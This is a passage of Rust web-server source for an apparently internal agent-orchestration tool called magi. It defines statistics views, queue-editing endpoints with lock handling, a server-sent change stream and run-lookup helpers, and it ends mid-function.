6356/// [`crate::stats::AgentStats`] for the wire.
6357#[derive(Debug, Serialize)]
6358struct AgentStatsView {
6359    agent: String,
6360    entered: usize,
6361    wins: usize,
6362    empty: usize,
6363    win_rate: Option<RateView>,
6364    competitive_entered: usize,
6365    competitive_wins: usize,
6366    competitive_win_rate: Option<RateView>,
6367    solo_entered: usize,
6368    solo_adopted: usize,
6369    solo_adoption_rate: Option<RateView>,
6370}
6371
6372impl From<&stats::AgentStats> for AgentStatsView {
6373    fn from(a: &stats::AgentStats) -> Self {
6374        Self {
6375            agent: a.agent.clone(),
6376            entered: a.entered,
6377            wins: a.wins,
6378            empty: a.empty,
6379            win_rate: RateView::of(a.wins, a.entered),
6380            competitive_entered: a.competitive_entered,
6381            competitive_wins: a.competitive_wins,
6382            competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
6383            solo_entered: a.solo_entered,
6384            solo_adopted: a.solo_adopted,
6385            solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
6386        }
6387    }
6388}
6389
6390/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
6391/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
6392/// value, `None` when `rounds` is zero.
6393#[derive(Debug, Serialize)]
6394struct ReviewerStatsView {
6395    agent: String,
6396    rounds: usize,
6397    seated: usize,
6398    submitted: usize,
6399    adopted: usize,
6400    unique: usize,
6401    timeouts: usize,
6402    adopted_per_round: Option<f64>,
6403    precision: Option<RateView>,
6404    unique_rate: Option<RateView>,
6405    timeout_rate: Option<RateView>,
6406}
6407
6408impl From<&stats::ReviewerStats> for ReviewerStatsView {
6409    fn from(r: &stats::ReviewerStats) -> Self {
6410        Self {
6411            agent: r.agent.clone(),
6412            rounds: r.rounds,
6413            seated: r.seated,
6414            submitted: r.submitted,
6415            adopted: r.adopted,
6416            unique: r.unique,
6417            timeouts: r.timeouts,
6418            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
6419            precision: RateView::of(r.adopted, r.submitted),
6420            unique_rate: RateView::of(r.unique, r.submitted),
6421            timeout_rate: RateView::of(r.timeouts, r.seated),
6422        }
6423    }
6424}
6425
6426/// [`crate::stats::AdvisorStats`] for the wire.
6427///
6428/// `reflection_rate` is approximate by construction — see
6429/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
6430/// that caveat is static text in `index.html`, not a field here.
6431#[derive(Debug, Serialize)]
6432struct AdvisorStatsView {
6433    agent: String,
6434    seated: usize,
6435    proposed: usize,
6436    absent: usize,
6437    faint: usize,
6438    strong: usize,
6439    reflection_rate: Option<RateView>,
6440}
6441
6442impl From<&stats::AdvisorStats> for AdvisorStatsView {
6443    fn from(a: &stats::AdvisorStats) -> Self {
6444        Self {
6445            agent: a.agent.clone(),
6446            seated: a.seated,
6447            proposed: a.proposed,
6448            absent: a.absent,
6449            faint: a.faint,
6450            strong: a.strong,
6451            reflection_rate: RateView::of(a.strong, a.proposed),
6452        }
6453    }
6454}
6455
6456/// [`crate::stats::E2eStats`] for the wire.
6457#[derive(Debug, Serialize)]
6458struct E2eStatsView {
6459    rounds: usize,
6460    failures: usize,
6461    sole_detections: usize,
6462    deferred: usize,
6463    sole_rate: Option<RateView>,
6464}
6465
6466impl From<&stats::E2eStats> for E2eStatsView {
6467    fn from(e: &stats::E2eStats) -> Self {
6468        Self {
6469            rounds: e.rounds,
6470            failures: e.failures,
6471            sole_detections: e.sole_detections,
6472            deferred: e.deferred,
6473            sole_rate: RateView::of(e.sole_detections, e.failures),
6474        }
6475    }
6476}
6477
6478/// [`crate::stats::ReleaseBumpStats`] for the wire.
6479///
6480/// `clean` is sent as a raw count, computed the same way
6481/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
6482/// needs_attention`) — never derived client-side from `automerge_enabled`,
6483/// which would misclassify a `merged_directly` bump (automerge rejected, but
6484/// magi merged it directly, so no human involvement) as needing attention.
6485#[derive(Debug, Serialize)]
6486struct ReleaseBumpStatsView {
6487    merged: usize,
6488    recorded: usize,
6489    pr_opened: usize,
6490    automerge_enabled: usize,
6491    merged_directly: usize,
6492    needs_attention: usize,
6493    clean: usize,
6494    coverage_rate: Option<RateView>,
6495    automerge_rate: Option<RateView>,
6496    attention_rate: Option<RateView>,
6497}
6498
6499impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
6500    fn from(b: &stats::ReleaseBumpStats) -> Self {
6501        Self {
6502            merged: b.merged,
6503            recorded: b.recorded,
6504            pr_opened: b.pr_opened,
6505            automerge_enabled: b.automerge_enabled,
6506            merged_directly: b.merged_directly,
6507            needs_attention: b.needs_attention,
6508            clean: b.clean(),
6509            coverage_rate: RateView::of(b.recorded, b.merged),
6510            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
6511            attention_rate: RateView::of(b.needs_attention, b.recorded),
6512        }
6513    }
6514}
6515
6516/// [`crate::queue::TaskCounts`] for the wire.
6517#[derive(Debug, Serialize)]
6518struct TaskCountsView {
6519    queued: usize,
6520    running: usize,
6521    done: usize,
6522    failed: usize,
6523    held: usize,
6524    blocked: usize,
6525    parked: usize,
6526}
6527
6528impl From<crate::queue::TaskCounts> for TaskCountsView {
6529    fn from(c: crate::queue::TaskCounts) -> Self {
6530        Self {
6531            queued: c.queued,
6532            running: c.running,
6533            done: c.done,
6534            failed: c.failed,
6535            held: c.held,
6536            blocked: c.blocked,
6537            parked: c.parked,
6538        }
6539    }
6540}
6541
6542/// [`crate::stats::RepoStats`] for the wire, one row per repository with
6543/// runs recorded — the summary the UI's repository selector is built from.
6544/// Carries no nested `Stats`: picking a repo means re-fetching
6545/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
6546/// aggregation rather than duplicating it.
6547#[derive(Debug, Serialize)]
6548struct RepoSummaryView {
6549    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
6550    /// against, full path and all (see [`stats_get`]'s own doc for why).
6551    repo: String,
6552    /// Display name only; never used for matching.
6553    name: String,
6554    runs: usize,
6555    completion_rate: Option<RateView>,
6556}
6557
6558impl From<&stats::RepoStats> for RepoSummaryView {
6559    fn from(r: &stats::RepoStats) -> Self {
6560        let t = &r.stats.totals;
6561        Self {
6562            repo: r.repo.to_string_lossy().into_owned(),
6563            name: r.name.clone(),
6564            runs: t.runs,
6565            completion_rate: RateView::of(t.merged + t.ready, t.runs),
6566        }
6567    }
6568}
6569
6570/// `GET /api/stats` - the whole answer. `Stats` itself carries no
6571/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
6572/// renders from them) are free to grow without that becoming a wire-contract
6573/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
6574/// data" from "computed and it really is zero" the way [`RateView`] does.
6575#[derive(Debug, Serialize)]
6576struct StatsView {
6577    totals: StatsTotalsView,
6578    /// Best win rate first, as [`stats::collect`] already sorts it.
6579    agents: Vec<AgentStatsView>,
6580    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
6581    reviewers: Vec<ReviewerStatsView>,
6582    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
6583    advisors: Vec<AdvisorStatsView>,
6584    e2e: E2eStatsView,
6585    release_bumps: ReleaseBumpStatsView,
6586    queue: Option<TaskCountsView>,
6587    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
6588    /// that field's doc. Asserted to match it in
6589    /// `stats_runs_unreadable_matches_health`.
6590    ///
6591    /// Always the whole-workload count, even when `repo` narrows every other
6592    /// field to one repository - an unreadable `run.json` carries no `repo`
6593    /// a per-repository count could attribute it to, and the queue/health
6594    /// views this mirrors never scope it either. The UI must not present it
6595    /// as if it were scoped to the selected repository.
6596    runs_unreadable: usize,
6597    /// Every repository with runs recorded, most runs first - what the UI's
6598    /// repository selector is built from. Always the full list regardless of
6599    /// `repo`, so switching repositories never needs a second request.
6600    repos: Vec<RepoSummaryView>,
6601    /// Runs per local day over the last 30 days, oldest first, always 30
6602    /// entries. Days are the *server's* local dates (the UI must not convert
6603    /// them again), cut by run creation and classified by current status.
6604    /// Narrowed by `repo` like every other run-derived field.
6605    daily: Vec<DailyStatsView>,
6606    /// The `?repo=` value this response was narrowed to, echoed back so the
6607    /// UI can confirm its selection round-tripped. `None` for the aggregate,
6608    /// all-repositories view.
6609    repo: Option<String>,
6610    /// Agent ids left out of `agents` / `reviewers` / `advisors` because the
6611    /// current config roster no longer lists them. Empty with `?all=true`, an
6612    /// unreadable config, or when nothing was retired.
6613    retired_hidden: Vec<String>,
6614}
6615
6616/// One day of [`StatsView::daily`].
6617#[derive(Debug, Serialize)]
6618struct DailyStatsView {
6619    /// `YYYY-MM-DD`, server-local.
6620    date: String,
6621    runs: usize,
6622    merged: usize,
6623    ready: usize,
6624    other: usize,
6625    /// `None` on a day with no runs, so it never reads as 0%.
6626    completion_rate: Option<RateView>,
6627}
6628
6629impl From<&stats::DayBucket> for DailyStatsView {
6630    fn from(b: &stats::DayBucket) -> Self {
6631        Self {
6632            date: b.date.to_string(),
6633            runs: b.runs,
6634            merged: b.merged,
6635            ready: b.ready,
6636            other: b.other,
6637            completion_rate: RateView::of(b.merged + b.ready, b.runs),
6638        }
6639    }
6640}
6641
6642/// How many days [`StatsView::daily`] covers.
6643const STATS_DAILY_DAYS: usize = 30;
6644
6645/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
6646/// repository. Matched by full-path equality against `RunState.repo` only
6647/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
6648/// `--repo` is, because the value here always came from this same route's
6649/// own `repos` list in an earlier response, never typed by a human. A value
6650/// matching no run is a 404, not an empty aggregate: the caller asked for a
6651/// specific, named repository, and silently returning zeroes would look
6652/// exactly like a repository that has runs but none of interest.
6653#[derive(Debug, Default, Deserialize)]
6654#[serde(default)]
6655struct StatsQuery {
6656    repo: Option<String>,
6657    /// `?all=true` keeps agents that are no longer in the roster.
6658    all: bool,
6659    /// The dashboard fetches queue counts independently of run history.
6660    runs_only: bool,
6661}
6662
6663/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
6664/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
6665/// runs when `?repo=` narrows it), the same counting logic `magi stats`
6666/// prints from. Reads every readable run on disk, exactly as
6667/// [`runs_unreadable`] does, so the two counts can never drift apart the way
6668/// a separately-maintained tally could.
6669async fn stats_get(
6670    State(ui): State<Arc<Ui>>,
6671    Query(q): Query<StatsQuery>,
6672) -> ApiResult<Json<StatsView>> {
6673    blocking(move || {
6674        let states: Vec<RunState> = run_ids(&ui.runs)
6675            .into_iter()
6676            .filter_map(|id| read_run(&ui.runs, &id).ok())
6677            .collect();
6678        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
6679            .iter()
6680            .map(RepoSummaryView::from)
6681            .collect();
6682        let mut scoped: Vec<&RunState> = states.iter().collect();
6683        let mut collected = match &q.repo {
6684            Some(repo) => {
6685                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
6686                if filtered.is_empty() {
6687                    return Err(ApiError::not_found(format!(
6688                        "no runs recorded against repo `{repo}`"
6689                    )));
6690                }
6691                scoped = filtered.clone();
6692                stats::collect_refs(filtered)
6693            }
6694            None => stats::collect(&states),
6695        };
6696        if !q.all {
6697            let repo = q
6698                .repo
6699                .as_deref()
6700                .map_or_else(|| ui.repo.clone(), PathBuf::from);
6701            stats::retain_current_roster(&mut collected, &repo);
6702        }
6703        let daily = stats::daily(
6704            scoped,
6705            jiff::Zoned::now().date(),
6706            &jiff::tz::TimeZone::system(),
6707            STATS_DAILY_DAYS,
6708        );
6709        let queue_counts = (!q.runs_only)
6710            .then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
6711        Ok(Json(StatsView {
6712            totals: StatsTotalsView::from(&collected.totals),
6713            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
6714            reviewers: collected
6715                .reviewers
6716                .iter()
6717                .map(ReviewerStatsView::from)
6718                .collect(),
6719            advisors: collected
6720                .advisors
6721                .iter()
6722                .map(AdvisorStatsView::from)
6723                .collect(),
6724            e2e: E2eStatsView::from(&collected.e2e),
6725            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
6726            queue: queue_counts,
6727            runs_unreadable: runs_unreadable(&ui.runs),
6728            repos,
6729            daily: daily.iter().map(DailyStatsView::from).collect(),
6730            repo: q.repo.clone(),
6731            retired_hidden: collected.retired_hidden.clone(),
6732        }))
6733    })
6734    .await
6735}
6736
6737/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
6738/// gives no reason - which must keep working, since not every hold has one.
6739#[derive(Debug, Default, Deserialize)]
6740#[serde(default, deny_unknown_fields)]
6741struct HoldBody {
6742    reason: Option<String>,
6743}
6744
6745async fn queue_hold(
6746    State(ui): State<Arc<Ui>>,
6747    Path(id): Path<String>,
6748    body: std::result::Result<Json<HoldBody>, JsonRejection>,
6749) -> ApiResult<Json<TaskView>> {
6750    // An absent body is the ordinary case - most holds are unexplained, and
6751    // that has to stay a one-tap action rather than a form. A body that is
6752    // present and malformed is still a bad request.
6753    let body = match body {
6754        Ok(Json(body)) => body,
6755        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
6756        Err(e) => return Err(ApiError::bad_request(e.body_text())),
6757    };
6758    let reason = body.reason.filter(|r| !r.trim().is_empty());
6759    mutate(ui, id, move |t| {
6760        t.hold_manual(reason.clone());
6761        Ok(())
6762    })
6763    .await
6764}
6765
6766async fn queue_release(
6767    State(ui): State<Arc<Ui>>,
6768    Path(id): Path<String>,
6769) -> ApiResult<Json<TaskView>> {
6770    mutate(ui, id, |t| {
6771        t.release_operator("web", None);
6772        Ok(())
6773    })
6774    .await
6775}
6776
6777#[derive(Debug, Deserialize)]
6778#[serde(deny_unknown_fields)]
6779struct AttemptLimitBody {
6780    // Required even when clearing: missing fields must not silently erase an override.
6781    attempt_limit: serde_json::Value,
6782}
6783
6784async fn queue_attempt_limit(
6785    State(ui): State<Arc<Ui>>,
6786    Path(id): Path<String>,
6787    body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
6788) -> ApiResult<Json<TaskView>> {
6789    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6790    let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
6791        .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
6792    mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
6793}
6794
6795#[derive(Debug, Deserialize)]
6796#[serde(deny_unknown_fields)]
6797struct ImplementersBody {
6798    implementers: u8,
6799}
6800
6801async fn queue_implementers(
6802    State(ui): State<Arc<Ui>>,
6803    Path(id): Path<String>,
6804    body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
6805) -> ApiResult<Json<TaskView>> {
6806    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6807    mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
6808}
6809
6810#[derive(Debug, Deserialize)]
6811#[serde(deny_unknown_fields)]
6812struct UrgentBody {
6813    urgent: bool,
6814}
6815
6816async fn queue_urgent(
6817    State(ui): State<Arc<Ui>>,
6818    Path(id): Path<String>,
6819    body: std::result::Result<Json<UrgentBody>, JsonRejection>,
6820) -> ApiResult<Json<TaskView>> {
6821    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6822    mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
6823}
6824
6825/// The body of `POST /api/queue/{id}/priority`.
6826#[derive(Debug, Deserialize)]
6827#[serde(deny_unknown_fields)]
6828struct PriorityBody {
6829    priority: i32,
6830}
6831
6832/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
6833///
6834/// [`Task::set_priority`] is the one place the "not while running" rule is
6835/// stated; this route only carries the body to it and lets its `Err` become
6836/// the 4xx the card shows.
6837async fn queue_priority(
6838    State(ui): State<Arc<Ui>>,
6839    Path(id): Path<String>,
6840    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
6841) -> ApiResult<Json<TaskView>> {
6842    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6843    mutate(ui, id, move |t| t.set_priority(body.priority)).await
6844}
6845
6846/// The body of `POST /api/queue/{id}/edit`.
6847#[derive(Debug, Deserialize)]
6848#[serde(deny_unknown_fields)]
6849struct EditBody {
6850    title: String,
6851    instruction: String,
6852    /// Save even though the new text names a branch, commit or pull request
6853    /// that unfinished work already owns.
6854    #[serde(default)]
6855    force: bool,
6856}
6857
6858/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
6859/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
6860/// that refusal's message is what the sheet shows back.
6861async fn queue_edit(
6862    State(ui): State<Arc<Ui>>,
6863    Path(id): Path<String>,
6864    body: std::result::Result<Json<EditBody>, JsonRejection>,
6865) -> ApiResult<Json<TaskView>> {
6866    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6867    // The judge is an agent call, so it is awaited here, outside the claim
6868    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
6869    // remembered, and the save refuses if the task moved underneath it.
6870    let mut judged: Option<(String, PathBuf)> = None;
6871    if !body.force {
6872        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
6873        let (id, text) = (id.clone(), body.instruction.clone());
6874        let (seen, hits) = blocking(move || {
6875            let id = resolve_task(&queue, &id)?;
6876            let t = queue.get(&id)?;
6877            if text == t.instruction {
6878                return Ok((None, Vec::new()));
6879            }
6880            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
6881            Ok((Some((t.instruction, t.repo)), hits))
6882        })
6883        .await?;
6884        if let Some((_, repo)) = &seen {
6885            let cfg = crate::config::Config::discover(repo, None)
6886                .ok()
6887                .map(|(c, _)| c);
6888            let screened =
6889                crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
6890                    .await
6891                    .map_err(|dup| {
6892                        ApiError::conflict(dup.render(
6893                            "Nothing was saved. If it is not a duplicate, repeat the request \
6894                             with \"force\": true.",
6895                        ))
6896                    })?;
6897            if let crate::dupes::Screened::Unjudged(why) = screened {
6898                tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
6899            }
6900        }
6901        judged = seen;
6902    }
6903    let force = body.force;
6904    mutate(ui, id, move |t| {
6905        if !force && body.instruction != t.instruction {
6906            match &judged {
6907                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
6908                _ => {
6909                    anyhow::bail!("the task changed while it was being checked; repeat the request")
6910                }
6911            }
6912        }
6913        t.edit(body.title.clone(), body.instruction.clone())
6914    })
6915    .await
6916}
6917
6918/// `POST /api/queue/{id}/done` - close a task as finished without deleting
6919/// it, so the phone's other way to clear a task from the backlog does not
6920/// have to cost the run history, the attribution, and `created_at` the way
6921/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
6922/// can be marked done by hand, because this is for the run the loop never
6923/// saw land - a merge done by hand, or a gate that misreported - and that can
6924/// happen from any status the task was left in.
6925async fn queue_done(
6926    State(ui): State<Arc<Ui>>,
6927    Path(id): Path<String>,
6928) -> ApiResult<Json<TaskView>> {
6929    let home = ui.home.clone();
6930    mutate(ui, id, move |t| {
6931        t.succeed();
6932        // Same as the loop's own settle path: closing a task by hand is just
6933        // as much "this task's story is over" as a daemon-driven `Merged`/
6934        // `Ready` is, so any earlier `Blocked`/`Stalled` attempt it leaves
6935        // behind must stop looking like it still needs a human. `ui.home`,
6936        // not the process-global `run::home()`: they agree in a real
6937        // process, but only `ui.home` also agrees with a test fixture's own
6938        // directory.
6939        crate::daemon::supersede_prior_runs(t, &home);
6940        Ok(())
6941    })
6942    .await
6943}
6944
6945/// `DELETE /api/queue/{id}`.
6946///
6947/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
6948/// names this task: a `running` status or an orphaned `.lock` left behind by a
6949/// killed daemon is a leftover, and treating either as authority made the
6950/// task undeletable from the phone for good. The associated runs, if any, are
6951/// kept: a run is self-contained history and not an appendage of the task.
6952async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6953    blocking(move || {
6954        let id = resolve_task(&ui.queue, &id)?;
6955        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
6956        ui.queue
6957            .remove(&id, in_flight, &ui.questions)
6958            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
6959        Ok(StatusCode::NO_CONTENT)
6960    })
6961    .await
6962}
6963
6964/// Read a task, change it, write it back, under the queue's own lock.
6965///
6966/// Taking the same claim a daemon takes is what makes hold, release,
6967/// priority, edit, and done safe to press while magi is running: without it
6968/// the daemon's next save would land on top of the operator's change and
6969/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
6970/// both do, for a running task - and that refusal becomes the 4xx the card
6971/// shows, same as any other domain rule.
6972async fn mutate(
6973    ui: Arc<Ui>,
6974    id: String,
6975    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
6976) -> ApiResult<Json<TaskView>> {
6977    blocking(move || {
6978        let id = resolve_task(&ui.queue, &id)?;
6979        // `claim` fails when the lock file already exists, which is the
6980        // conflict the UI must report: the daemon owns that task's file for
6981        // as long as it is running it, and our write would be lost under its
6982        // next save. The message names the lock either way.
6983        let _claim = ui.queue.claim(&id).map_err(|e| {
6984            ApiError::conflict(format!(
6985                "{e:#} - a daemon is running this task, so it cannot be \
6986                 changed from here yet; wait until it is released, then retry"
6987            ))
6988        })?;
6989        let mut task = ui.queue.get(&id)?;
6990        change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
6991            Ok(dup) => ApiError::conflict(dup.render(
6992                "Nothing was saved. If it is not a duplicate, repeat the request with \
6993                 \"force\": true.",
6994            )),
6995            Err(e) => ApiError::bad_request_from(e),
6996        })?;
6997        ui.queue.put(&mut task)?;
6998        Ok(Json(TaskView::from(task)))
6999    })
7000    .await
7001}
7002
7003/// The change stream: one revision number per store, on connect and whenever
7004/// any of them moves.
7005///
7006/// One shared worker scans stores; clients only forward its notifications.
7007async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
7008    ui.monitor.ensure_worker(&ui);
7009    let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
7010    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
7011
7012    let state = Arc::clone(&ui);
7013    tokio::spawn(async move {
7014        let initial_revisions = {
7015            let guard = match state.monitor.latest.lock() {
7016                Ok(g) => g,
7017                Err(p) => p.into_inner(),
7018            };
7019            guard.as_ref().map(|(r, _)| *r)
7020        };
7021        if let Some(revisions) = initial_revisions {
7022            let initial_payload = serde_json::json!({
7023                "queue_rev": revisions.0,
7024                "runs_rev": revisions.1,
7025                "questions_rev": revisions.2,
7026                "talks_rev": revisions.3,
7027                "notifications_rev": revisions.4,
7028                "loop_rev": revisions.5,
7029            });
7030
7031            if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
7032                if tx.send(event).await.is_err() {
7033                    return;
7034                }
7035            }
7036        }
7037
7038        loop {
7039            match tokio::select! {
7040                _ = tx.closed() => return,
7041                value = broadcast_rx.recv() => value,
7042            } {
7043                Ok(notif) => {
7044                    let Ok(event) = Event::default().event("change").json_data(notif.payload)
7045                    else {
7046                        break;
7047                    };
7048                    if tx.send(event).await.is_err() {
7049                        break;
7050                    }
7051                }
7052                Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
7053                    let revs = {
7054                        let guard = match state.monitor.latest.lock() {
7055                            Ok(g) => g,
7056                            Err(p) => p.into_inner(),
7057                        };
7058                        guard.as_ref().map(|(r, _)| *r)
7059                    };
7060                    if let Some(revs) = revs {
7061                        let payload = serde_json::json!({
7062                            "queue_rev": revs.0,
7063                            "runs_rev": revs.1,
7064                            "questions_rev": revs.2,
7065                            "talks_rev": revs.3,
7066                            "notifications_rev": revs.4,
7067                            "loop_rev": revs.5,
7068                        });
7069                        if let Ok(event) = Event::default().event("change").json_data(payload) {
7070                            if tx.send(event).await.is_err() {
7071                                break;
7072                            }
7073                        }
7074                    }
7075                }
7076                Err(tokio::sync::broadcast::error::RecvError::Closed) => {
7077                    break;
7078                }
7079            }
7080        }
7081    });
7082
7083    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
7084        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
7085}
7086
7087/// Run ids under `runs`, newest first.
7088///
7089/// Rooted at an explicit directory rather than calling [`run::list_ids`],
7090/// which reads the process-global home: the server has to be drivable against
7091/// a temp directory for any of this to be testable.
7092fn run_ids(runs: &FsPath) -> Vec<String> {
7093    let mut ids: Vec<String> = std::fs::read_dir(runs)
7094        .into_iter()
7095        .flatten()
7096        .flatten()
7097        .filter(|e| e.path().join("run.json").is_file())
7098        .map(|e| e.file_name().to_string_lossy().into_owned())
7099        .collect();
7100    // Ids start with a sortable timestamp.
7101    ids.sort_unstable_by(|a, b| b.cmp(a));
7102    ids
7103}
7104
7105/// Read one run's state from an explicit runs root.
7106fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
7107    let path = runs.join(id).join("run.json");
7108    let body =
7109        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
7110    let state: RunState =
7111        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
7112    // The same migration `RunState::load` applies, so a record from the
7113    // previous schema reads here as it does everywhere else (an origin-less
7114    // run shows as "origin unknown") instead of vanishing from the phone the
7115    // moment the schema is bumped.
7116    run::migrate_schema(state)
7117}
7118
7119/// Runs on disk under `runs` whose state this build cannot parse - almost
7120/// always a schema bump, occasionally a run killed mid-write.
7121///
7122/// Exposed so every surface that reports on runs shares one count instead of
7123/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
7124/// `magi doctor` calls this directly rather than guessing at the same number
7125/// a second way.
7126#[must_use]
7127pub fn runs_unreadable(runs: &FsPath) -> usize {
7128    run_ids(runs)
7129        .into_iter()
7130        .filter(|id| read_run(runs, id).is_err())
7131        .count()
7132}
7133
7134fn plain_record_id(id: &str) -> bool {
7135    !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
7136}
7137
7138/// Expand an id or short id to exactly one run id.
7139fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
7140    if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
7141        return Ok(id.to_owned());
7142    }
7143    pick(run_ids(runs), id, "run")
7144}
7145
7146/// Expand an id or short id to exactly one task id.
7147fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
7148    if plain_record_id(id) && queue.path_of(id).is_file() {
7149        return Ok(id.to_owned());
7150    }
7151    let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
7152    pick(ids, id, "task")
7153}
7154
7155/// A question as the phone reads it.
7156///
7157/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
7158/// text already parsed into a node tree so the client never runs its own
7159/// markdown reader over agent-authored prose. A relative image path in it
7160/// resolves against this question's own panel asset route, which is the one
7161/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
7162/// separate, sandboxed document, but `detail` is rendered inline in the
7163/// operator's own page, so an image reference in it may only ever point at
7164/// files magi itself already serves for this question.
7165#[derive(Debug, Serialize)]
7166struct QuestionView {
7167    choice_effects: std::collections::BTreeMap<String, String>,
7168    record_revision: String,
7169    #[serde(flatten)]
7170    question: Question,
7171    detail_md: Vec<md::Node>,
7172    posting_view: Option<PostingView>,
7173    /// Each thread turn's body, parsed; same order as `question.thread`.
7174    thread_bodies_md: Vec<Vec<md::Node>>,
7175    /// Each thread turn's deputy note, parsed (`None` for a turn without
7176    /// one); same order as `question.thread`.
7177    thread_notes_md: Vec<Option<Vec<md::Node>>>,
7178    /// Is the ball in the agent's court right now?
7179    ///
7180    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
7181    /// [`Question::say`] - so this is the one field that tells the phone to
7182    /// disable the answer controls and show "waiting for the agent" instead of
7183    /// a card the owner can act on. Computed rather than stored on
7184    /// [`Question`] itself, on the same reasoning as `waiting` on
7185    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
7186    /// it here means the client never has to re-derive that rule.
7187    waiting_on_agent: bool,
7188    /// Who is waiting on this open question - see [`holder_of`]. Separate
7189    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
7190    /// anyone is there to take it.
7191    holder: Option<&'static str>,
7192    /// Whether `magi serve` can start a follow-up agent for a conductor
7193    /// question at all: false when `daemon.max_deputies = 0` or the config is
7194    /// unreadable. Separate from `holder`, which says who is listening now.
7195    deputies_enabled: bool,
7196    /// All starts were spent and no live holder remains. Display-only: the
7197    /// final attempt increments `starts` before running under its lease.
7198    deputy_exhausted: bool,
7199    text_delivery: crate::question_delivery::Availability,
7200    /// `question.run` is a task id (conductor / triage questions), not a run
7201    /// id, so the UI links it to the task page.
7202    run_is_task: bool,
7203    /// The existing chat this question's task came from, including settled
7204    /// questions - see [`crate::consult::associated_talk`].
7205    origin_chat: Option<String>,
7206    /// `origin_chat` is closed; consulting reopens it first.
7207    origin_chat_closed: bool,
7208    /// Consultation eligibility is separate from navigation to the chat.
7209    can_consult_chat: bool,
7210}
7211
7212#[derive(Debug, Serialize)]
7213struct PostingView {
7214    before_md: Vec<md::Node>,
7215    after_md: Vec<md::Node>,
7216    fields: Vec<crate::github_text::ComparisonView>,
7217}
7218
7219fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
7220    let comparison = question.posting_comparison.as_ref()?;
7221    if !comparison.matches_detail(&question.detail) {
7222        return None;
7223    }
7224    let mut ids = std::collections::BTreeSet::new();
7225    if comparison.fields.is_empty()
7226        || comparison
7227            .fields
7228            .iter()
